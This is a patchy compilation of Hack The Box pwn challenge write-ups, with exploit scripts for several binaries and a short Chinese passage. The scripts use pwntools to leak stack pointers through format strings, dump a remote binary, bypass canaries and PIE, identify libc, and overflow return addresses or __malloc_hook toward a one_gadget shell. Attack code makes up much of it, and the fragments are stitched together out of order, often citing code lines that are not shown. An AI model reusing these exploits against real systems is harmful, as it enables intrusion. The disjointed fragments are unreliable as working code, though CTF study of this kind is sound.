┌──(root💀kali)-[~/hackthebox/challenge/pwn/Bad_grades] └─# file bad_grades bad_grades: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=b60153cf4a14cf069c511baaae94948e073839fe, stripped ┌──(root💀kali)-[~/hackthebox/challenge/pwn/Bad_grades] └─# checksec bad_grades [*] '/root/hackthebox/challenge/pwn/Bad_grades/bad_grades' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
2. Spot the first vulnerability — buffer overflow:
The first vulnerability lies in the total grades counter buffer, which could be overflowed with more than 33 Bytes.
Make a loop that will add 34 grades to the grade pool.
Spot the stack smashing — potential buffer overflow.
3. Spot the second vulnerability — format string:
Since there is a stack canary in use, it will be impossible to exploit a buffer overflow, without leaking somehow stack canary value, brute-forcing it, or somehow skipping this value while overflowing the rest of the stack data.
The binary is stripped, but the overflowed function can be spotted with ease using static binary analysis with a disassembler.
It shows the information about the data type (%lf for double) that will be stored in memory.
You can use . (dot character) to skip writing data in a referenced variable if the user input is collected with scanf(“%lf”, &grade[i])
4. Join two vulnerabilities and skip the stack canary:
Since stack cookie is just before return address, you can skip writing to canary and overwrite the RSP register, thus controlling execution flow.
One thing to mention, there is a (35) RBP register between (34) stack canary and (36) RSP register.
The last problem is the type of the variable set by scanf(“%lf”, &grade[i]) which is double . That means during overflow, the return address will be overwritten not by for example 65 but 65.0 .
Doubles are stored in memory differently, you can learn how to convert double to binary here.
There are three steps in Python2 in order to convert your desire pointer value to the double representation
# Jump over stack canary and frame pointer & leak puts address --- fill_the_buffer(39) p.sendline("{}".format(double_pointer(pop_rdi))) print(p.recv()) p.sendline("{}".format(double_pointer(puts_got))) print(p.recv()) p.sendline("{}".format(double_pointer(puts_plt))) print(p.recv()) p.sendline("{}".format(double_pointer(main_addr))) p.recvline() # leak data to first 0x0a char leak = p.recvline() # leak another line with puts address print("[+] leak another line with puts address:", leak) time.sleep(1) leaked_puts = u64(leak.strip().ljust(8,"\x00")) log.critical("Leaked puts address: {}".format(leaked_puts))
# --- # Overflow again with calculated one gadget --- one_gadget = leaked_puts - libc.symbols["puts"] + 0x4f432 fill_the_buffer(36) p.sendline("{}".format(double_pointer(one_gadget))) print(p.recv())
from pwn import * from struct import * #-*- coding: utf-8 -*-
context.log_level = 'error' context.update(arch = 'amd64', os = 'linux') ip, port = "138.68.136.191:32714".split(":")
def leak_pointers_from_stack(ip,port): '''Format string - leak pointers to get the libc/main address and architecture.''' for i in range(0,20): try: p = remote(ip,port) p.sendline("%{}$p".format(i).encode()) sleep(0.2) leak = p.recv() x =str(i) + " : " + leak.decode().split(">")[1].split("\x0a\x0a")[0] print(x) p.close() except: p.close() pass
leak_pointers_from_stack(ip,port)
As you can see below, on the target machine there is x64 architecture, ASLR being on, we can leak pointer to the main module at the 12th offset and pointer from libc at the 13th position:
In order to dump binary code, you have to first find any pointer from the main module and it was shown above.
Then you have to automatically grab this pointer for further exploitation using the below function which returns leaked main address — thus bypassing ASLR:
1 2 3 4 5 6 7 8 9
def leak_pointer_to_main(): '''12th pointer is one from the main()''' p.sendline(b"%12$p") sleep(1) p.recvuntil(b"> ") leak_all = p.recv() leak = leak_all.decode().split("\n")[0] print("Leaked main address: " + leak) return int(leak,16)
Then you have to subtract some bytes till you find ELF magic bytes.
This is an important step, because you should dump the binary from the ELF header segment.
The above function search_elf_magic_bytes is very simple:
It connects to the target binary at line 62 until it does not find ELF magic bytes while elf_found — 61st line.
It executes the function leak_pointer_to_main() at line 64 and adds addr variables to the returned by the function address of main.
This addr variable is returned by the search_elf_magic_bytes and it is being decremented by 0x100 until it finds ELF magic bytes, then it will return the calculated pointer to those bytes.
search_elf_magic_bytes handles exceptions, because during pointer deference using %s at line 42 there is a big chance of a Segmentation fault because not every location points to a valid string array.
There is a nice trick at line 45 if you are using Python 3 and working with bytes, to decode those bytes using “unicode_escape” . Usually, it will give better results than “ASCII” or “UTF-8” .
As you can see above, magic bytes were found and from this point, you can begin leaking bytes to re-create the binary on your machine.
3. Blind Format String — dumping the binary:
By leaking the pointer address to the ELF header you can actually dump the binary code and then decompile it using Ghidra/IDA/Binary ninja or any other RE tool that you like.
Voilà, now you can use this leaked file to decompile it using Binary Ninja.
1 2 3
┌──(root💀kali)-[~/hackthebox/challenge/pwn/echoland] └─# file echoland echoland: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=10fa1c1fe305a86450ba9c555e3932a3e5c2633a, for GNU/Linux 3.2.0, not stripped
4. Reverse the leaked binary:
Open the leaked file using any decompiler on leak.bin for example, Binary Ninja and click on _start symbol (Ghidra couldn’t analyze this so well like Binary Ninja and this is not an advertisement ^^):
As you can see this is a typical main function loader and data_12ef should be the pointer to the main() (if you can’t see the screen below, click p ):
When you double click on this address it will redirect you to another one, double click it again and you will see the main() :
Now a bit of Reverse Engineering to get the printf@GOT and then deference it to get the last 3 bytes of printf function address, so you can get the idea of what libc version is being used on the target system.
Above you can see main() — this is the corresponding code to the “Welcome message” where you chose between two options and leak data using format string vulnerability.
At the offset 0000133c and the offset 000013ad you can see sub_1100 call.
This is the call you are looking for — printf@PLT and you can guess it because 1. it prints data at 0000133c 2. decompiled code is vulnerable to format string at line 000013ad .
Above you can see an example of a vulnerable C code from OWASP, can you see the similarities? :)
If yes, go on and double click on sub_1100() to get into the stub.
As you can see now if you double-click on data_3fa8 you should be redirected to the GOT table…
… and indeed, here you are. 0003fa8 offset is the printf@GOT .
5. Get the target libc:
The below function will calculate the proper address of printf@plt during runtime, it is just adding printf@GOT offset to the leaked before the address of ELF magic bytes, which are start_main_addr :
Now use the last three bytes to query the libc database to check what version of libc is being used on the target system:
libc database search
As you can see above, there are 5 different libc to choose from I was sure, the target system was AMD so I picked 3rd one.
In the situation when you have more potentially valid libc to choose from, you can try to decompile more functions from dumped leak.bin and using %s leak their address during runtime, then you should get only one libc.
Click on this libc and download it. It will be used later to calculate the one_gadget address.
libc6_2.27-3ubuntu1.4_amd64.so
6. Spot the second vulnerability — buffer overflow:
The second vulnerability could be found for example by fuzzing the app.
Below is my quick and dirty Buffer overflow fuzzer which fuzz the first option with chars between 30–100 length:
1. Scream. 2. Run outside. > >> Your friend did not recognize you and ran the other way!
FUZZING: 64
1. Scream. 2. Run outside. > >> Your friend did not recognize you and ran the other way! /home/ctf/run_challenge.sh: line 2: 95 Segmentation fault ./echoland
======================== Buffer overflow found @: 64 ========================
7. Get the RCE — calculate one_gadget:
The last step to gain control over the target binary execution flow is to calculate the address of one_gadget.
The last thing to mention, 65–72 bytes are overflowing probably Frame Pointer and it has to be valid — it should be in the binary memory address space range.
73–80 bytes have to be overflowed with one_gadget — this is actually control over the instruction pointer.
Above, at line 139 I picked just a random low address (printf@GOT) but you could probably overflow this with the one_gadget.
from pwn import * from struct import * #-*- coding: utf-8 -*-
context.log_level = 'error' context.update(arch = 'amd64', os = 'linux') ip, port = "138.68.129.154:31898".split(":")
def leak_pointers_from_stack(ip,port): '''Format string - leak pointers to get the libc/main address and architecture.''' for i in range(0,20): try: p = remote(ip,port) p.sendline("%{}$p".format(i).encode()) sleep(1) leak = p.recv() x = str(i) + " : " + leak.decode().split(">")[1].split("\x0a\x0a")[0] print(x) p.close() except: p.close() pass
# leak_pointers_from_stack(ip,port) def leak_pointer_to_main(): '''12th pointer is one from the main()''' p.sendline(b"%12$p") sleep(1) p.recvuntil(b"> ") leak_all = p.recv() leak = leak_all.decode().split("\n")[0] print("Leaked main address: " + leak) return int(leak,16)
def search_elf_magic_bytes(leaked_main,addr): '''Search through the process memory to find ELF magic bytes: \x7fELF.''' while True: leak_part = b"%9$sEOF" + b"\x00" try: p.sendline(leak_part + p64(leaked_main + addr)) resp = p.recvuntil(b"1. Scream.\n2. Run outside.\n> ") leak = resp.split(b"EOF")[0] + b"\x00" print("Deferenced pointer: " + leak.decode("unicode_escape")) if b"\x7FELF"in leak: magic_bytes = leaked_main + addr print("MAGIC BYTES FOUND @: " + hex(magic_bytes)) return magic_bytes, False break addr -=0x100 except: addr -=0x100 p.close() return addr, True
┌──(root💀kali)-[~/hackthebox/challenge/pwn/format] └─# checksec format [*] '/root/hackthebox/challenge/pwn/format/format' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
我们发现NX, Full RELRO和PIE都是启用的。进一步发现了堆栈Canary的存在。NX被启用意味着不能执行堆栈的内容。启用PIE意味着每次在新进程中生成二进制数据时,都会为该二进制数据选择一个新的基址。Full RELRO意味着不能修改get部分的内容。打开IDA中的二进制文件并分析它,以了解它的功能。
from pwn import * s = process('./format') for i in range(1, 100): s.sendline('%{}$p '.format(i).ljust(0x100, 'a')) print"{:2}: {}".format(i, s.recvline().split(' ')[0]) s.close()
┌──(root💀kali)-[~/hackthebox/challenge/pwn/format] └─# python leak.py [+] Opening connection to 178.128.40.217 on port 32755: Done GLIBC(printf) leak: 0x7f436277be80 [*] Closed connection to 178.128.40.217 port 32755
┌──(root💀kali)-[~/hackthebox/challenge/pwn/format] └─# file format format: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=5d38e04d29b4aae722164869f3151cea776ce91c, for GNU/Linux 3.2.0, not stripped ┌──(root💀kali)-[~/hackthebox/challenge/pwn/format] └─# checksec format [*] '/root/hackthebox/challenge/pwn/format/format' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
2. Run binary with format string as input and spot the vulnerability:
3. Disassemble binary with your favorite disassembler:
Vulnerable is printf() which should look like: printf(“%s\n”, argv[1]);
4. General overview of what is being leaked:
(1) 6th pointer — beginning of the printf() output
(2) 30th pointer — three free bytes which you need to keep in mind when you leak data using the printf() function (due to stack alignment) additionally, the direct parameter access to this pointer will change depending on the amount of data passed to the printf() function
(3) 37th pointer — init+117address needed for calculating libc base
5. Run binary in GDB — defeating PIE:
set a breakpoint at the printf() in echo()
check the init+117 PIE offset (before execution in GBD)
using direct parameter access input format string %37$p to leak init+117address
calculate the base ELF address after a leak to bypass the PIE security
You can verify the base address of ELF file using vmmap or info proc map
The first phase of exploit written in python2 based on pwntools containing everything so far.
6. Leak the __printf address from libc through printf():
Use %s instead of %p (access value printed by printf() instead of a pointer to the string)
Remember about stack alignment
7. Check the libc version on the remote system
Use https://libc.blukat.me/ with the leaked address of __printf to check the libc version being used on the remote system.
Check possible libc architecture, there is clearly only one option which is libc6_2.27–3ubuntu1_amd64 because it is the only one 64-bit libc.
Download above libc and place it in the directory with exploit.py
8. Taking control of execution flow:
The program has FULL RELRO, so there is no option of rewriting the fgets() or printf() address, but the content of libc shared libraries is writeable. Use this advantage to overwrite __malloc_hook function pointer.
The vulnerable function in this scenario is malloc() which is called, when the string sent to printf() is too big, __malloc_hook is called whenever malloc() is used.
1 2 3 4
# check __malloc_hook in leaked libc ┌──(root💀kali)-[~/hackthebox/challenge/pwn/format] └─# objdump -T libc-2.27.so | grep __malloc_hook 00000000003ebc30 w DO .data 0000000000000008 GLIBC_2.2.5 __malloc_hook
You can trigger malloc() by calling printf(“%10000$c”) — this allocates too many bytes for the stack, forcing libc to allocate the space on the heap instead.
You can overwrite the __malloc_hook using direct parameter write %6$n
It is not possible to specify the parameters of the overridden __malloc_hook . The way out of this situation will be to use a gadget called one_gadget which in fact is a execve(“/bin/sh”) command that is present in libc
┌──(root💀kali)-[~/hackthebox/challenge/pwn/What_does_the_f_say_] └─# file what_does_the_f_say what_does_the_f_say: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=dd622e290e6b1ac53e66369b85805ccd8a593fd0, for GNU/Linux 3.2.0, not stripped ┌──(root💀kali)-[~/hackthebox/challenge/pwn/What_does_the_f_say_] └─# checksec what_does_the_f_say [*] '/root/hackthebox/challenge/pwn/What_does_the_f_say_/what_does_the_f_say' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
2. General overview:
There are two options to choose from at the beginning.
Users can choose between drinks and food, then other options pop up, because of either drinks_menu() or food_menu() .
If the user selects drinks_menu() three additional options will appear, in one of them (2) there is a possibility to choose between red or green Kryptonite and the string is being reflected by the program.
3. Spot the first vulnerability — Format string:
The vulnerability lies in the printf() when you chose Kryptonite vodka. (printf() should look like: printf(“%s\n”, argv[1]); )
Set a breakpoint @ drinks_menu+239 in gdb.
Run the binary and input format string (1) while choosing the type of Kryptonite, then go to the next instruction (2) and observe the leaked address (3).
Leaked address (3) 0x555555555860 is a __libc_csu_init and could be used to calculate the base address of binary, thus defeat the PIE security, but on the remote binary, this address was patched with 0x2f2f2f2f2f2f2f2 to prevent the return_to_csu attack scenario.
Since there is no possibility to leak more data at once than 9 pointers, use direct formatting and some automation to leak the first 40 addresses from the stack.
leak.py
1 2 3 4 5 6 7 8 9 10 11 12 13
import sys from pwn import *
context.log_level = 'error' for i inrange(int(sys.argv[2]), int(sys.argv[3])): p = process(sys.argv[1]) p.sendline("1") p.recv() p.sendline("2") p.recv() p.sendline('%{}$p '.format(i)) print"{:2}: {}".format(i, p.recvline().split(' ')[0]) p.close()
15th pointer from the stack is the same locally as on the remote binary and points to: 0x55cd3406874a <fox_bar+106> it will be used to calculate the base address of binary.
4. PIE bypass - calculate ELF base:
This step could be omitted but I left it because maybe someone will find it useful.
Leak <fox_bar+106> .
Using relative addressing calculate the ELF base address.
sleep(0.5) between the sending / receiving the data needs to be implemented because the exploit will calculate the addresses before it receives the data from the socket.
5. Spot the second vulnerability - Buffer overflow:
Another vulnerability lies in the warning() which is being called after choosing Kryptonite vodka.
If (1) the user has less than 20 stones, (2) he is asked if he really wants to buy Kryptonite vodka.
Users can enter more than 24B (3), thus overflowing the stack.
At the end of the function, there is a Stack Canary check (4).
6. Stack Canary bypass - leak the canary:
A terminator canary contains NULL(0x00), CR (0x0d), LF (0x0a), and EOF (0xff), four characters that should terminate most string operations, rendering the overflow attempt harmless
If you look closely at the leaked addresses, you will notice few ending on \x00 bytes which might indicate a terminator.
19th pointer is the main+55 instruction which is close to stack_chk_fail (terminate a function in case of stack overflow) so the 23rd pointer is the Stack canary.
Leak the Stack Canary.
To successfully bypass the Stack Canary security control during overflow, you got to first leak this canary as shown above and then spent rocks until you got less than 20 to trigger the warning() .
Then attach the GDB and set the breakpoint @warning + 274
Enter random 24 bytes, then stack canary and use cyclic() to overflow the return address to confirm the control over the execution flow.
The first 8 bytes after the terminator will be stored in the RBP register and then all bytes after are stored in RSP.
The next instruction will return to the value in RSP so ROP chain will start at 9B of input after the terminator.
7. Leak the libc version from the remote system:
In order to conduct the ret2libc attack, you have to leak the libc base address first.
25th pointer 0x7ffff7ddd0b3 leaked via format string vulnerability points to __libc_start_main .
It can be used to calculate the base address of libc and the ROP chain.
First leak this address from the remote target.
Running exploit twice shows that there is ASLR being used.
Use https://libc.blukat.me/ with the leaked address to check the libc version being used on the remote system.
Download the libc and search for one_gadget within it.
# Trigger warning function --- defgo_to_warning(): # Current space rocks: 55.89 for i inrange(0,5): p.sendline("2") sleep(0.5) p.recv() p.sendline("3") sleep(0.5) p.recv()
# BO - jump over canary & control the execuction flow --- defoverflow_warning(stack_canary, rop_chain): go_to_krypto() p.sendline("RED") sleep(0.5) p.recv() p.sendline("A"*24 + p64(stack_canary) + "A" * 8 + p64(rop_chain))